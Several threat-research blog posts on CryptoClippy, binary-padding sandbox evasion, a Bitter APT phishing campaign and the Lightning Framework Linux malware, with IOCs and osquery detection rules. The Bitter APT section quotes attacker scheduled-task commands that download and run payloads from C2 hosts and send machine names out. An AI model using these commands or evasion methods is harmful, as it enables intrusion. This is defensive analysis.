The third script we decoded is responsible for enabling and setting up a configuration for the Remote Desktop Service. The script configures the port for the connection, it sets the SecuirtyLayer to be on the lowest level, which specifies that the Microsoft Remote Desktop Protocol (RDP) will be used by the server and the client for authentication before a remote desktop connection is established, it sets the userAuthentication to 0 -which specifies that Network-Level user authentication is not required before the remote desktop connection is established. Lastly, using a user name passed as an argument to the script, the script creates a new user account and appends it to: HKLM\SOFTWAREM\icrosoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList to hide it from winlogon.

The script also sends information about the endpoint to the C2. The data contains the OS version, computer name, architecture, and indicators on whatever rdpclip.exe and rfxvmt.dll are present on the endpoint. Rdclip allows to use of the clipboard during remote desktop sessions, and rfxvmt implements RemoteFX, a collection of graphical functionalities designed to enhance remote connections. However, it was deprecated due to many security vulnerabilities.

In the sample we inspected, the function that generates folder and mutex names uses the same proprietary algorithm, but the format is changed to “%ls%08x,” and the constant passed to the function is 0x973C8F.

Network

The domain name of the C2, as we see in the sample we analyzed, is flowmudy[.]com. The URL that is being sent is in the format of: https://flowmudy.com/?act=481c. The value of “act” changes depending on the function that initiates the communication. The user agent is stored in the hardcoded configuration into the executable and encoded with RC4. CryptoClippy uses two different configurations- one is the pf file received from the remote server in the first stage of the attack, and the second is hardcoded in the .data section of the malware. The first configuration file contains encoded script names and content, crypto wallet addresses, and the domain name of the C2 servers. The latter contains the URL format described above and the following user agent.

%s %s HTTP/1.1
Host: %.*s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Length: %d

The decoded user agent, above.

Conclusions of CryptoClippy Analysis

In conclusion, our analysis of CryptoClippy has revealed its rapid evolution, expanding from basic crypto wallet theft to reconnaissance gathering and extracting critical payment application and transaction information from unsuspecting victims in Brazil. Evidence suggests upcoming enhancements that will further expand its capabilities. Organizations and individuals must stay abreast of emerging trends and fortify their security defenses to combat this rapidly evolving menace effectively.

IOCs

DLL loader

894ad71e6fea9a5068512a7de5c2b176bc9556acf96284f131614d0e402059dc
02af8c455fc32e0e79d5b7be2d6349ddc95d747528e328715325947217933dac

.NET loader

19f0f8831ef9d561f6dc395eff55d165d614fa06d13a9a3d39b120ef18242f12

NSIS Installers

bb242ec30689f12d10986832a8548f23b06a7c1b5988797a48c6237fd51cde49
0b88fed305f93003c520c9c8d06d93ff8f3530548423efcbc3cdff582c23d66f
0cab35abbec588c09219ae34c4cee65eed1e980345f6d0ade152d330a4ae2c9b
1633762047d7fc1c583e5fa358cb24b6408ceec1cf1f4f2a31f1c8aa1371c1c7
30976656db4334e494615b0e893b001045f4714259b8089bbcfca59203a0ce3d
32ad6008209b9a48e5c0fdad6b2bcd5dd374a9c273d99d82a339939f450d6f42
3d18564402263bb7e7f9091b154990c3c15cbd8d86610a23b389fb1e5fc65723
417f2fc47353b84b56cc5f438d53570901740037a41012d6f4d3168cbd40a7ff
49300936a4e0986e98bbb681312b18e4305fb3fd5f53e31985721e267745cff5
4f9e65266f0842856dfba4d1d3c9dc278e5521ef3ca521f1726ed1d1e8a547df
64ecc4d34f45662b32387008b5d81b21bd995af399a6957ca2c1441756073307
6768e39b94159e39b517250a047a2e043f9cd4e360c12c19d88113aa475f1ca6
6dc5788049de41f09f32ffe2c84c715353efe32536fccb9c44254de8e8eae575
7861b9c78ae234bb636bf67b369a19bbcf83092f999a85397d25a08626f79bd6
8446de8cdcddf6b7e023fbe353e69d51a6cb4105c52709a618e88b2ac77645ad
8784e81c8aa147548f057c3b162a7c717fddc450028a4c3dc4271eead5b2a68a
8bdcea1224ef19f6c00986c2b06754d132ead4a602147b0db8d1adda35a64914
94f2e8062a586486528c6eef2a6302106ae3eb69eba3cb1e37d77f22024a8496
97abe330295c853554e516cb2ac946f053696c5396e755b2abd7606a4e24d82e
9dc2dc7cb68b26395de3840f096ddae825681cb86c4facb054da81708cebe970
ab053769b445fb833f11f65e1ec2f238ffd14dd38c5173f755133caae0ed425d
b2a18f5dc63c87bbb39b8b7e722bfc83b75e3fc15a5367ead1b2e5c74be7f30a
b33e440e1af58cf61543158123699dcc21716d1fbf820bb36b578b0da2da8e26
bb242ec30689f12d10986832a8548f23b06a7c1b5988797a48c6237fd51cde49
bf71c9f9b2eacbd02bdb0296cdf2533df41a8ec53e894af91a720cfaefa84066
c1a8f5a1eaa54d7a895afe298e41ccc2acc018133bea1588eb00d1c04d809b4f
c4a6c74441fa701ee5568420ed0d930b2636d46239b7558df946de26a026af4e
d76ffe1bd489d2c1e2ed5c64849aeffe23d4ffe82597e40a030e9a634305b07f
d9ba0ffebeff80a7d19dfd9b848b5e96dfda72a4b8f749bd5032145abd7eb86f
dd8e58d3dfcb3ba2675638ccf36dbdb90fce4f29e9c91256269218d8b6431763
f99351a25ae8890fa91674a5ce54ce4ff8d46c3e93f16debc0852d4d8431d49b
fa5f1116478d45d74c2ed175a0c507abcdeedf07096e3a43144fa19cec427575
bdd98909fb388401919b5fd465e54266845cd74e75f60ff97703fabc35664a9a

CryptoClippy samples

d2c85de7c763e8d8990d06f78f226fda36443253c63678c7c0e998499f3af61a
02af8c455fc32e0e79d5b7be2d6349ddc95d747528e328715325947217933dac

Domains used by the loader

http://ef0h[.]com/1/
http://4a3d[.]com/1/
http://b3do[.]com/1/
http://yogarecap[.]com/1/

Domains used by the malware

nicerypx[.]com
flowmudy[.]com

How Hackers Use Binary Padding to Outsmart Sandboxes and Infiltrate Your Systems

Thu, 18 May 2023 00:00:00 +0000

Binary padding is the process of adding extra or junk data to a portable executable (PE) file that, while not changing the behavior of the binary, changes certain characteristics that can help with either obfuscating relevant code or defeating sandboxing solutions and detections.

This technique is not novel. It has been employed in various forms for several years to achieve different effects, all of which are related to evading defense mechanisms. So why are we talking about it now? We have noticed recently a lot of phishing campaigns using binary padding while targeting victims, for example Emotet and QBot. (Skip down to read more about this “PufferPhishing” technique.)

This blog will take a look into the what, the why, and the who when it comes to binary padding as an evasive technique for cyberattacks.

Why Would Attackers Use Binary Padding?

Historically, malware was small in size. A lot of logic for malware can be programmed into a very small executable. A small size for malware was a requirement not long ago, as computers had slower internet and not a huge amount of RAM. Large binaries used to be limited to files like installers or games, as these contain a large amount of resources such as extra files, images and libraries in order to function. Over 10 years ago, if a file was very large, for example over 5 MB in size, it would have been an indicator of non-maliciousness.

These days not so much. As computers today have magnitudes more memory and disk space compared to twenty years ago, file size of a binary became less of an issue. This has allowed new compilers and programming languages to optimize differently without considering the final binary size. New programming languages such as Rust and Go default to statically link libraries to the final binary which helps improve performance, but results in a larger final binary. For example, a “Hello, World” Go binary has a size in the megabytes.

Binary padding comes with many benefits for malware authors, let’s discuss a few of them and the pros and cons for each.

Binary Padding Can Defeat Sandboxes with Size Limits

One of the most simple reasons for binary padding is to simply make the file bigger! This attempts to avoid analysis from automated malware analysis tools, such as traditional sandboxes, since most have an upper limit on the size of files being submitted. It also hinders analysis of the file as someone trying to submit the file might not be able to upload such a large file in reasonable time limits, since the upload requires network transfer to the sandbox. This simple but effective technique allows malware to avoid being analyzed by virtue of being too big to fit in the front door.

For security vendors, the solution is simple: raise the limit of file size. This arms race comes with added costs for security vendors, but also adds cost to the malware author, the larger they need to make their malware to usurp the limits also makes the malware much bulkier and harder to transport to the victim. (There is an easy method that malware authors are able to use to make their inflated files easier to transport that we will talk about later in this blog.)

Exceeding Sandbox Size Limits with Binary Padding

Pros for the attacker	Cons for the attacker
Simple to implement for the malware author	Easy for cybersecurity tools to detect
Effectively defeats most sandbox solutions	Malware with binary padding can be reversed
Multiple ways to achieve	Hard to transport files
	Does not defeat tools with no size limit

Using Binary Padding to Change the Hash

“I’m not like other executables.” Binary padding can also be used to change the hash for a malware. This technique can be effective to avoid hash-based detections, but not systems with genetic-based detection. The technique is achieved by a malware creating a copy of itself and inserting random data into it, thus ensuring that a cryptographic hash, for example MD5 or SHA, of the file will be unique for each. It is easy to achieve as only one bit is needed to be changed to change the hash.

The reason why this works is due to a concept in cryptography called diffusion. Diffusion means that if one bit of an input into a cryptographic hashing function is changed, then much of the output (digest) is also changed. This means that similar inputs do not produce similar outputs, hiding any relationship between the digest and the plaintext. This has the effect of avoiding hash-based detections, as we can see it is trivial to change the hash. This is less of an effective technique as most modern malware detection solutions have moved beyond hash-based and use genetic, signature, or behavior-based detections.

An example with the string diffusion:

String	MD5 Hash Digest
Diffusion	c9fc4714730359980e89007f327c5b7d
Diffuzion	2e24821ec7e23fe19d8ec494a801928a

Notice how changing one letter completely changes the above hash digest?

Binary Padding to Create Unique Hashes

Pros for the attacker	Cons for the attacker
Easy to achieve for the malware author	Slightly antiquated, it does not defeat more modern malware detection methods such as signatures or genetic detection
Defeats hash-based detections	Often requires the malware to create a copy of itself to modify, which can be suspicious behavior to detect in itself
Multiple ways to achieve

An example of this technique being used is by the Orangeworm group with their Kwampirs backdoor; it achieves it by inserting a randomly generated string into the middle of the binary.

Binary Padding for Obfuscation

Padding, such as junk code, can be added to an executable solely for the purpose of creating so much junk and noise that it bogs down analysts when looking at the file, that it has the effect of obfuscating the relevant malicious code. Many would be familiar with the technique used in legislation of a rider; an extra provision added to a bill, hiding behind the main body of text hoping to fly under the radar in order not to be noticed. It is a similar concept with junk code obfuscation. Junk code has the effect of hindering manual analysis by a reverse engineer that does not have the tools or skills to avoid falling into the trap. While this is effective at hindering manual analysis, it does not always have the ability to pass automated analysis tools as they can analyze code at volumes that cannot be performed by a human. The presence of junk code in itself can be a suspicious indicator of maliciousness; what can be less discreet than a malware containing the works of Shakespeare inside it?

Binary Padding for Obfuscation

Pros for the attacker	Cons for the attacker
Can confuse malware analysts	Can be a suspicious indicator in itself
Hinders debugging	Can cause more resource consumption, hindering the performance of the malware
Has some of the same positive effects of inflating the binary size	Limited effectiveness on skilled analysts
Can cause false negatives	Has the same negative effects of inflating the binary size
Can cause decompilers and disassemblers to take a very long time to open the file – Less likely to defeat automated analysis techniques

Problem for Threat Actors

The main problem for threat actors is that with binary padding, the increased file size can be hard to distribute. Threat actors want a file that is huge on disk, but does not take ages to deliver. Not everyone has an extremely fast internet, and therefore it would be inconvenient to a threat actor wishing to distribute malware to make it take hours to download.

What is their solution to this? The malware author can use a downloader that dynamically pads a binary after downloading it. An example of this is the threat group BRONZE BUTLER. BRONZE BUTLER targeted Japanese businesses with malware using padding. This was achieved by using a downloader that would download a payload and then insert the character ‘0’ at the end of the file to inflate the size to 50-100 MB.

This comes with extra baggage that the malware author might not wish to have. Firstly the downloader itself might be detected, which can defeat the purpose of using binary padding to avoid detection. Next is also that it creates more network traffic that might be detected. The C2 might already be known to distribute malware, and it can be blocked or detected at this point. The use of a C2 can add an extra single point of failure in the chain where something might break. Also the payload that is fetched might be detected in memory or over the network before the padding is performed, so it might be analyzed before the padding has a chance to take effect.

There is another way to achieve padding without the same baggage that comes from using downloaders and C2 servers, exploiting compression. We will talk about this technique below, which we are calling “PufferPhishing” due to its active use in malicious phishing attachments. This is not a new technique, but is ever more being exploited by threat actors in phishing campaigns.

PufferPhishing: Binary Padding Combined with Compression

Recently we have noticed an uptick in the use of binary padding to evade analysis size limits… but with a smart technique to ensure that the files are still deliverable, by exploiting the efficiency of compression algorithms. Malware authors are creating padding that uses resources and overlays in order to create malware that is hundreds of MBs in size, but is able to compress to over 90% of its original bulk due to its efficiency in compression. This means that malware can be created to circumvent sandbox size limits but also solve the file transport problem that comes with that technique. It is the binary padding equivalent of having your cake and eating it too!

How Does the PufferPhishing Technique Work?

The technique works by using repeating sequences of bytes padded inside binaries to inflate the size of the binary. But the nature of the repeating bytes used allows it to be compressed to over 90% of its original size, commonly in the ZIP file format.

ZIP archive file format most commonly uses the DEFLATE compression format, incorporating LZ77 and Huffman coding. It is very good at compressing sequences of repeating data. DEFLATE compression works so well on repeating bytes that it’s worth showing an example:

Creating a file of size 5 KB, with the repeating character a will compress to 22 bytes with DEFLATE. A 99.56% decrease in size. Whereas a file with the string below will only compress to 45 bytes:

aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz

This is a 13.46% decrease in size. Through DEFLATE, the file with the repeating bytes will be smaller than the file with less repeating bytes even though the former file was around 100x bigger decompressed! This shows how the use of repeating data (or a very low entropy) can be exploited to make very large malware files that are easy to transport. The following CyberChef recipes have been created to help demonstrate:

File 1 (Repeating Bytes/Large File): Compression, Entropy

File 2 (More Entropy/Smaller File): Compression, Entropy

Compression likes lower entropy. Entropy is a measure of how random the data inside a file is. Since compression algorithms work by finding patterns to encode in a smaller format, a smaller entropy of data in a file will lead to better compression ratios.

What does this look like incorporated into malware?

Examples of Malware with Binary Padding

Overlay

In March 2023, a Trend Micro blog noted Emotet using binary padding in the overlay in order to inflate the file size. Using 00-byte padding allowed the PE file to be compressed from a sizes of over 500 MB to ZIP files less than 1 MB:

61bb1c8adaaffc629e60db7e4a171538c5d625a6d79d225e03310c684efd7581

This file contains a very large DLL inside with padding in the overlay. The sections end at the file end at 0x9a200.

Junk data is appended past the defined end of the PE. Most of it being the null byte.

99.9% of the file is padding. The padding in the overlay is not loaded to memory when the PE is executed. This allows it to take up less space in memory than it does on disk.

Resources

The resource section of a PE is used for many items that are used as resources by the binary, this can be things such as images, audio, icons, and videos, but it can be abused. Very commonly the padding is placed in the resource section of malware. An example of this being used is in phishing emails, sending ZIP files that contain a Windows Installer (MSI) file:

34bcf0a864b6c7f4ecca92f1216ed58da4018c719552cfb62fee940924a91154

The MSI file is in Composite Document File V2 Document (CDF) format with an embedded DLL file that is padded using the resource section. The use of the CDF format also adds another layer of defense evasion that might bypass security detections that only work on PE files. The DLL is padded in the resource section with a stream of repeating bytes.

The MSI file is almost 500 MB but is able to be compressed to a size of around 2 MB, a huge reduction in size.

Space Between Sections

Similar to the overlay, malware authors can also play with the space between sections. Data can be inserted in between the sections of a PE to inflate the size.

This technique has been used by researchers in order to deceive malware classification.

Giant Variable

Malware authors can also use really large strings in order to pad malware in the data section. This technique is not often used as it can be easily detected, through looking for large strings. This technique involves simply creating extremely large strings in the code of the malware that are not used specifically for the functionality of the malware itself. An example can be easily shown with a simple C program printing out very large strings.

These strings are stored in the data section of the PE. Since they are just sequences of repeating characters, they have very little entropy, and can help with compression. The graph below shows the drop in entropy of where these strings are stored. One issue that a threat actor might stumble into with this technique is that depending on the compiler, there can be a limit on the maximum length of a string literal. This could force the threat actor to use many smaller strings instead of one massive string for padding.

Compressing this file in ZIP format will lead to a 64% deflation size.

How Intezer Fights Binary Padding

Binary padding can be a simple and effective way to bypass security defenses, it is one technique out of many that are in a malware authors arsenal. This technique combined with other techniques, such as compression, can be chained to create innovative payloads that hinder analysis and detection.

Intezer is able to remove padding from samples to make it much more manageable to analyze. Take for example this Laplas Clipper sample. It is padded to over 600 MB through using the overlay technique! Intezer is able to unpack the sample from the ZIP file and remove the overlay. Give it a go yourself with padded samples. Submit the parent ZIP and Intezer will do the rest.

Phishing Campaign Targets Chinese Nuclear Energy Industry

Fri, 24 Mar 2023 00:00:00 +0000

Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT, operating in the Asia-Pacific region.

We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.

Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.

Analysis of Phishing Lures and Payloads

We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.

Figure 1: Attack flow described in this research

Social Engineering with Phishing Emails

The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.

Figure 2: Name crafted to appear as communication from an embassy

The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.

The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.

Figure 3: Email body lure with nuclear themes

Malicious Payloads via CHM and Microsoft Excel Files

Multiple payloads have been observed being delivered. Either CHM files, or Microsoft Excel files with Equation Editor exploits. These payloads are compressed inside RAR files, this helps avoid static analysis techniques that do not decompress the files first. The purpose of the payloads are to create persistence and download further malware payloads. We were not able to get further additional payloads from the command and control (C2) servers, but in some instances were able to get the file names of next stages from active C2s.

Malicious Microsoft Excel Files

The Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks. There is no decoy in the document. One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine. These tactics have been observed being used by Bitter APT in 2021/2022.

"C:WindowsSystem32schtasks.exe" /create /sc MINUTE /mo 15 /TN WindowsDWMDWMCORE /TR "cmd /c start /min curl --output %AppData%dwmcor.exe -O ""https://qwavemediaservice[.]net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT""" /f

Figure 4: Scheduled task

The second scheduled task created attempts to execute the payload downloaded by the other task:

"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 20 /TN WindowsDWMDWMCORELIB /TR "%AppData%dwmcor.exe" /f

CHM Files

The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.

The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.

"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart" /ft

We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.

Figure 5: Empty payloads served from different C2 servers

This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.

The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.

Figure 6: Encoded PowerShell command in version 2 of the CHM files

The decoded command is the following:

schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%pic.jpg https://coauthcn[.]com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%pic.jpg|powershell;timeout 9;del %LOCALAPPDATA%pic.jpg" /f

It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:

Figure 7: Decoy picture

The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):

Figure 8: Machine translated version of the decoy

Conclusion

Bitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals. It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities. Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be. None of the social engineering techniques used are novel and it is imperative that employees of companies should have a good standard of security awareness about phishing emails, so employees can report phishing emails for investigation.

Always take care when handling attachments, and never open CHM files as they are antiquated and not commonly used for legitimate purposes currently.

Indicators of Compromise

File Hashes (SHA256)

5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1 (Email)
eb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e (Email)
cac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179 (Email)
8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74 (Email)
33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799 (Email)
5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc (Email)
ef4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1 (Email)
b2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa (RAR)
33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b (RAR)
7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf (RAR)
07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88 (XLS)
06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431 (CHM)
ded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446 (CHM)

Network

qwavemediaservice[.]net
mirzadihatti[.]com
coauthcn[.]com

Mitre ATT&CK

Tactic	Technique	ID	Description
Reconnaissance	Email Addresses	T1589.002	The actor gathers target email addresses to target with spearphishing emails
Initial Access	Spearphishing Attachment	T1566.001	Spearphishing is used to deliver RAR attachments
Execution	PowerShell	T1059.001	Encoded PowerShell is used by CHM payload
Execution	Exploitation for Client Execution	T1203	Microsoft Office exploits are used to execute code
Persistence	Scheduled Task	T1053.005	Scheduled Tasks used for both execution and persistence
Defense Evasion	Msiexec	T1218.007	Msiexec is used to launch next stage payloads
Defense Evasion	Compiled HTML File	T1218.001	CHM files are used to deliver payloads
Defense Evasion	Masquerading	T1036	Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg. Adobe Updater)
Discovery	System Information Discovery	T1082	First stage payloads fetch Computer and User names
Command and Control	Web Protocols	T1071.001	HTTPS is used for C2 communication
Command and Control	Exfiltration Over C2 Channel	T1041	Data can be exfiltrated

Detection Rules for Lightning Framework (and How to Make Them With Osquery)

Wed, 03 Aug 2022 00:00:00 +0000

On 21 July, 2022, we released a blog post about a new malware called Lightning Framework. Lightning is a modular malware framework targeting Linux. At the time of the publication, the Core module had one suspicious detection and the Downloader module was not detected by any scanning engines on VirusTotal. Due to this, we have again decided to release a followup blog posting showing how the information we released can be used to investigate whether you have been affected.

There are many tools available to gather system information and to perform threat hunting within an organization. One of our favorites is osquery. We demonstrated in a previous blog how detection rules created with osquery can be used to discover the multi-platform malware Sysjoker.

This tutorial will show how we use gathered information from the reverse engineering process to utilize in detection techniques that can serve as an indication of compromise for the Lighting Framework. There are pros and cons to this approach over just using file hashes. It allows us to potentially find other samples related to the Lightning Framework that have a different file hash but it can also turn up matches that are not malware. For example the malleable C2 profile is encoded on disk and will have a unique hash each time, therefore it is important to use other means of detection that are not hash based.

Information Gathering with Osquery

Osquery runs as an agent on machines and is designed to provide endpoint visibility in a performant way. The data is collected by the agent and exposed via SQL queries.

There are two ways of running osquery, as a daemon via osqueryd or interactively via osqueryi. The daemon takes a configuration file where the queries are defined and executes them at a given interval. Data is continuously collected by the daemon and the difference since the last execution is logged to a result log. The interactive binary allows for ad-hoc queries and we will use it in this tutorial to construct queries that can be added to the daemon’s configuration. The queries will be added to a query-pack to make it easier to manage.

Detecting File Artifacts from Lightning Framework

Many files are created in a working directory in the Lightning Framework. We can use these to write threat hunting or detection queries.

If we look at the report, we can see that most of the files are created under a folder named /usr/lib64/seahorses/. This is a folder trying to masquerade as the legitimate password and key manager Seahorse. We can use the osquery table file to monitor for Lightning Framework files under this folder. According to the schema for this table, we can get which user created it, when the file was created, modified, and last accessed. To enrich the data, we join the uid with the users table and the gid with the groups table. This allows us to get the username and the group name instead of just the ID numbers.

Another thing that is useful is the file hash for the Lightning files. This can be obtained by joining with the hash table on the path. This allow us to construct a query like this:

SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('/usr/lib64/seahorses/');

An example of a query that shows the malware artifacts is shown below:

Successfully finding Lightning Framework files using osquery.

Detecting Persistence of Lightning Framework

If we look at the persistence documented in the report, we can see that the framework maintains persistence by creating a startup script for the Downloader module. We can find this by querying the startup_items table and looking for the misspelled term elastisearch (As opposed to the correct application it is trying to mimic “Elasticsearch”).

SELECT * FROM startup_items WHERE name = 'elastisearch';

Detecting RootKits Installed by Lightning Framework

Lightning Framework is able to install a Linux kernel module (LKM) rootkit. The rootkit is used to hide process IDs and ports related to running processes of the framework. Similarly to the startup item. The kernel module also has the same misspelled elastisearch name. To check whether it is installed on your machine, run the following:

SELECT * FROM kernel_modules WHERE name = 'elastisearch';

Next Steps for Your Lightning Detection Rules

After this we can tell the osquery daemon to load the query pack. This can be done by adding a pack entry to the daemon’s configuration file:

"packs": {
 "lightning_framework": "/path/to/pack/lightning.json"
 }

To get alerting for this, it is best to forward the logs to your SIEM and create alerts there. We’re curious to see more samples of Lightning Framework – let us know if you uncover more samples or are able to take the research on it further!

Appendix A – lightning.json Pack

{
 "queries": {
 "linux-artifacts": {
 "query": "SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('/usr/lib64/seahorses/');",
 "interval": "60",
 "version": "1.0.0",
 "description": "https://intezer.com/blog/research/lightning-framework-new-linux-threat/",
 "platform": "linux",
 "value": "Possible Lightning Framework files"
 },
 "linux-startup-item": {
 "query": "SELECT * FROM startup_items WHERE name = 'elastisearch';",
 "interval": "60",
 "version": "1.0.0",
 "description": "https://intezer.com/blog/research/lightning-framework-new-linux-threat/",
 "platform": "linux",
 "value": "Possible Lightning Framework startup item"
 },
 "linux-kernel-module": {
 "query": "SELECT * FROM kernel_modules WHERE name = 'elastisearch';",
 "interval": "60",
 "version": "1.0.0",
 "description": "https://intezer.com/blog/research/lightning-framework-new-linux-threat/",
 "platform": "darwin",
 "value": "Possible Lightning Framework rootkit"
 }
 }
}

Lightning Framework: New Undetected "Swiss Army Knife" Linux Malware ⚡

Thu, 21 Jul 2022 00:00:00 +0000

Lightning Framework is a new undetected Swiss Army Knife-like Linux malware that has modular plugins and the ability to install rootkits.

Year after year Linux environments increasingly become the target of malware due to continued threat actor interest in the space. Malware targeting Linux environments surged in 2021, with a large amount of innovation resulting in new malicious code, especially in ransomwares, trojans, and botnets. With the rise in use of the cloud, it is no wonder that malware innovation is still accelerating at breakneck speed in this realm.

This is a technical analysis of a previously undocumented and undetected Linux threat called the Lightning Framework. It is rare to see such an intricate framework developed for targeting Linux systems. Lightning is a modular framework we discovered that has a plethora of capabilities, and the ability to install multiple types of rootkit, as well as the capability to run plugins. The framework has both passive and active capabilities for communication with the threat actor, including opening up SSH on an infected machine, and a polymorphic malleable command and control configuration. We are releasing this blog for informational purposes. We do not have all the files that are referenced in the framework, but hope that this release will help others if they possess other pieces of the jigsaw puzzle. We have not observed this malware being used in attacks in the wild.

Technical Analysis of Lightning Framework

The framework consists of a downloader and core module, with a number of plugins. Some of the plugins used by the malware are open-source tools. Below is a figure of the framework layout:

Overview of the Modules

Name	Name on Disk	Description
`Lightning.Downloader`	`kbioset`	The persistent module that downloads the core module and its plugins
`Lightning.Core`	`kkdmflush`	The main module of the Lightning Framework
`Linux.Plugin.Lightning.SsHijacker`	`soss`	There is a reference to this module but no sample found in the wild yet.
`Linux.Plugin.Lightning.Sshd`	`sshod`	OpenSSH with hardcoded private and host keys
`Linux.Plugin.Lightning.Nethogs`	`nethoogs`	There is a reference to this module but no sample found in the wild yet. Presumably the software Nethogs
`Linux.Plugin.Lightning.iftop`	`iftoop`	There is a reference to this module but no sample found in the wild yet. Presumably the software iftop
`Linux.Plugin.Lightning.iptraf`	`iptraof`	There is a reference to this module but no sample found in the wild yet. Presumably the software IPTraf
`Linux.Plugin.RootkieHide`	`libsystemd.so.2`	There is a reference to this module but no sample found in the wild yet. LD_PRELOAD Rootkit
`Linux.Plugin.Kernel`	`elastisearch.ko`	There is a reference to this module but no sample found in the wild yet. LKM Rootkit

Lightning.Downloader

The main function of the downloader module is to fetch the other components and execute the core module.

Lightning Downloader result in Intezer Analyze

The downloader module starts by checking if it is located in the working directory /usr/lib64/seahorses/ under the name kbioset. The framework makes heavy use of typosquatting and masquerading in order to remain undetected. The reference to seahorses masquerades the password and key manager software seahorse. If not it will relocate itself to that working directory and execute that copy. The downloader will fingerprint the host name and network adapters to generate a GUID, which will be sent to the command and control (C2) server.

Building the GUID

The downloader will then contact the C2 to fetch the following modules and plugins:

Linux.Plugin.Lightning.SsHijacker
Linux.Plugin.Lightning.Sshd
Linux.Plugin.Lightning.Nethogs
Linux.Plugin.Lightning.iftop
Linux.Plugin.Lightning.iptraf
Lightning.Core

